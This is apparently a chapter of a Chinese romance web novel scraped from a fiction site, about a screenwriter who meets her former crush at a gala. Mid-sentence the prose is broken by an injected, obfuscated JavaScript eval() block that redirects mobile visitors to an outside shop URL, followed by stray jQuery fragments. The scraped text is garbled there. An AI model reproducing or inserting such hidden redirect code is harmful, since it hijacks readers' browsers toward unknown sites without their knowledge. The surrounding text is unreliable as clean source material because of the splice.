晚宴定在城东的一处私人会所,时苡初到的时候,天色已经暗了。
贺屿白的车停在会所门口,他没有急着下车,偏头看了她一眼。
“紧张?”
时苡初摇了摇头,“只是不太喜欢这种场合。”
车外,是无数媒体的摄像头和灯光。
她确实不太喜欢将自己暴露在聚光灯下。
贺屿白笑了声,止住驾驶位上梁哥想要下车给他们开车门的动作,而是自己先下了车。
灯光闪烁,一片惊呼声中,男人穿着一身高定西装,顶着一张张扬的脸,绕过车头,替车里的人开了车门。
快门声不断响起,他笑着,微微侧身,向车里的人伸出了手。
时苡初抬头看了他一眼,试图用眼神警告他。
他只是笑着,歪了下头。
“走吧,时大编剧。”
时苡初面无表情的看他,已经能预想到今夜热搜的盛况了。
这人一惯张扬,丝毫不顾及旁人的死活。
还没进入宴席,时苡初已经有些后悔跟他来了。
媒体的摄像头正对准着他们。
时苡初轻叹了口气,最终还是伸出手,虚搭在他的掌心,踏出了车门。
贺屿白在她下车后,自然的手回来手,微微弯着手肘,示意她挽上。
时苡初微笑的伸手挽上了他的臂弯,在无人注意的时候,重重的拧了对方一下。
“嘶——”
贺屿白倒吸了口凉气,侧眸看她。
时苡初面上的笑容不变,微微侧头,声音压得极低。
“或许你想在热搜上看见‘贺屿白疑似恋情曝光’。”
贺屿白被她一噎,终于老实了几分。
两人并肩走入会所大厅,水晶吊灯洒下流光溢彩的光,衣香鬓影间,觥筹交错。
时苡初虽不喜这样的场合,但也并非不会应付。她端着香槟杯,跟在贺屿白身侧,与人寒暄几句,偶尔被人问及新剧本的事情,便礼貌地笑着回应几句。
“时编年纪轻轻就能写出这样的好剧本,真是前途无量啊。”
“过奖了,还有很多需要学习的地方。”
“哪里哪里,时编太谦虚了。”
类似的对话,重复了四五遍后,时苡初脸上的笑意已经有些发僵。
酒过几旬,时苡初寻了个理由,终于躲开了人群,只自己端着酒杯,往露台走去。
露台上没有人,便显得清冷了几分,晚风裹着花园里草木的气息拂面而来,吹散了室内的燥热与喧闹。
露台的角落种了几盆绿植,恰好遮住了大半的视线。
时苡初倚着栏杆,微微仰头。
京城的夜空难得能看到几颗星,在城市的灯火之中泛着微弱的光。
时苡初看了一会,收回视线,手机屏幕亮了一下。
贺屿白发来的消息,问怎么一转眼就不见她人了。
她还在打字回复,余光却瞥见露台的另一侧,有一道身影正从走廊尽头走来。
那人穿着一件深灰色的大衣,步伐不紧不慢,似乎是刚刚从宴会厅里出来,侧着脸和身边的人说着什么。
灯光下,他的眉眼清晰地映入她眼底。
清隽,疏淡,眼尾微微上挑,明明该是一双多情的眼睛,却常常透着疏离。
时苡初的指尖停在屏幕上方,久久没有落下。
风声忽然变得很静,连远处宴会厅的喧闹声也像是被什么隔开了一般。
那人在几步之外停住了脚步,大约是感受到了她的目光,微微侧过头来。
时间仿佛在这一刻静止了一瞬。
时苡初只怔怔的看着他。
或许是喝了酒,在酒精的作用下,脑子已不大清醒。
她没有避开他的视线。
那张脸,和七年前比起来,似乎没有太大变化。
棱角更分明了些,眉骨依旧挺拔,那双眼睛,依旧是她记忆里最漂亮的模样。
晚风吹过,带来他身上的气息,还是那股淡淡的雪松香,一点也没变。
没有久别重逢的感慨与惆怅,在这一刻,她想到是。
这么多年了,这个人怎么连洗衣液都不换?
她看见他收回了视线,侧头与身侧的人说了什么。
她听不大清,只见他身侧的人向他望来一眼,而后离开。
沈临霁依旧站在原地,晚会到灯光将他的影子拉得很长,落在地面上,几乎要触及她的鞋尖。
隔着那么一点距离,他看向她。
露台角落的绿植在晚风中轻轻摇曳,时苡初没动。
酒精侵蚀下的意识有些迟钝,她只是看着他,许久,再度低下了头。
贺屿白的消息没回,她指尖落在手机屏幕上,刚刚敲下一行字,眼前忽的落下一片阴影。
“时苡初。”
她指尖微顿,没有立刻抬头。
他依旧如年少时一遍,在念出她的名字时,尾音微微上扬,像是带着无限缱绻温柔。
时苡初垂着眼,盯着手机屏幕上那行没打完的字,停顿了几秒,终于还是锁了屏幕,缓缓抬眸。
大厅里的灯光从他身后洒下来,将他笼在一层朦胧的光晕里。
时苡初忽然不知道该说什么。
那日商场门口的意外一眼,她尚且可以从容的微笑着点头应下而后转身离开。
可此时此刻,这个承载了她十七岁全部的少女心事的人,他就站在她的面前。
在光影筹措的晚宴上,与她一起,躲在昏暗的露台。
她能闻见他身上的雪松香。
一如年少擦肩而过时,风带来的那股气息。
冷冽,微涩。
像她的心境。
她只能沉默的,望着他。
沈临霁的目光在她的脸上停留了瞬,又落到一侧露台桌上空了的香槟杯。
时苡初顺着他的目光看了一眼那只空杯,她其实没喝多少,只是这种场合,难免还是喝了些许,脑子也转得比平时慢了些。
她收回视线,重新低下眉眼,想说点什么寒暄的话,可那些“好久不见”“真巧”“你也在这”之类的开场白到了嘴边,又觉得太过刻意。
而就在她纠结着要怎么开口时,身前的人已经再一次把视线落回来她的脸上。
晚风吹动她耳边的碎发,她低垂着眉眼,睫毛偶尔轻轻颤动一下,或许是因为喝了酒,眼尾微微泛着点红。
沈临霁垂在身侧的指尖蜷缩了一下,片刻后,他开口。
说的却是。
“是不舒服吗?”
时苡初觉得自己应该是真的有点醉了,乍然听见他的询问,想到却是。
他的声音也和以前一样好听。
“时苡初?”没能得到她的回应,沈临霁眉心轻皱了下,再次出声。
她这才回神,摇了摇头。
“里面太吵了,出来透口气。”
沈临霁的目光在她脸上停留了片刻,似乎在确认她说的是真话,然后他微微侧过身,与她并肩倚在栏杆上,望向远处城市的夜景。
露台上又安静下来。
晚风从他身侧拂过,带着那缕若有若无的雪松气息,时苡初握着手机的手松了又紧,喉咙里堵着许多话,却一个字也说不出来。
脑子乱成一团,说出的话也显得奇怪。
“你为什么会在这?”
沈临霁便答,“参加宴会。”
“哦。”她应了声,又问,“你不用去忙吗?”
“不忙。”他耐心的应着,目光落在她的脸上。
“好久不见了。”
“嗯。”他轻声回着,“好久不见了,这些年,还好吗?”
时苡初眨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948126|209227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了下眼,“挺好的,大学去了江城,学了影视文学,写出几个剧本,成绩还不错……”
她一点点说着,沈临霁便安静的听着。
夏夜的风温柔,轻拂着她的发。
她微微抬眼,眼底便映上了几分灯火的璀璨。
她应该是醉了,清醒时候的她,从未与他说过这么多的话。
她总是很安静的,喜欢一个人坐在角落,被人提起时,用那双盛满春水的眼睛望来。
她不爱喧闹,晚会这样的场合,她大概是不喜欢的,所以一个人躲在了露台。
被他看见了,或许他的出现也打扰了她。
只是她在这,那双眼眸望向他时,便不想走了。
好在,他应当不属于那令她不喜的范畴。
“后面又遇见了贺屿白,他这个人……”她还在说着,偶尔眉心蹙起,偶尔嘴角又杨起抹笑。
格外生动。
沈临霁没有打断她的话,试图从她话语中填补过去的七年。
时苡初不知道自己说了多久,或许是酒精放大了倾诉欲,又或许是这段露台太安静,安静到让人误以为时间可以倒流。
“……最近在和拾光传媒合作,还在为选角头疼,如果你是演员的话就好了,我可以直接推荐你。”
说完,她自己都愣了下。
沈临霁轻笑了声,“这么相信我?”
时苡初发觉自己说得有些太多了,再度闭嘴,不再开口,耳根微微泛红,掩在发下,并未叫人发觉。
他的声音含着笑,显得有些勾人。
“我是当不了你的主角了,不过,还缺投资人吗?”
投资越多,对电影的拍摄自然越有利,只是,时苡初闷闷开口,“投资的事归拾光传媒那边管。”
“嗯,想要多投一点吗?”
时苡初抬眼看他,触及他温和的眼眸,忽然想起贺屿白说的那句“拾光传媒来了个新老板”。
迟钝了一晚上的思绪终于难得的活跃了些。
“贺屿白说拾光的新老板,是你吗?”
听到她口中“贺屿白”的名字,沈临霁微不可查的皱了下眉,声音依旧温和,“算是接手了一些事务。”
时苡初想了想,试探的开口,“那,你什么时候回国的?”
“三个月前。”
“还走吗?”
问完她就后悔了,这个问题听起来太像挽留,无论如何都越过了那条属于普通朋友的安全界线。
但沈临霁没有让她难堪,他只是很自然地答,“不走了。”
时苡初点了点头,指尖在手机壳边缘轻轻摩挲着,脑子里晕乎乎的,分不清是酒精还是别的什么。
她垂下眼,听见自己的声音含糊地说了句,“国内其实也挺好的。”
本以为这句话不会被听见,但他还是应了。
“嗯,国内很好。”
他的目光停留在她的身上,试探的开口,“你……”
话还没说完,便被突然响起的手机铃声打断。
沈临霁垂眼,便看见了女人手中,屏幕上闪烁的“贺屿白”三字。
她接通了电话,电话那头的人不知道说了什么,引得她眉眼微微弯起。
他听见她含笑的回应,“我在露台这,等下,就回去。”
“嗯,你也别喝太多酒,明天还要拍摄。”
电话挂断,她抬眼,略带歉意的看向他。
沈临霁沉默了瞬,“要走了?”
“嗯。”时苡初点头应下。
他没再问,只是侧了侧身,给她让出路来,目送着她的声音慢慢远去,汇入晚会的灯火之中。
有人迎上了她,大约是说了什么,引得她嘴角弯起,举止动作间,格外亲昵熟悉。
沈临霁没看太久。
他们出了会所,上了门口等着的车,缓缓远去。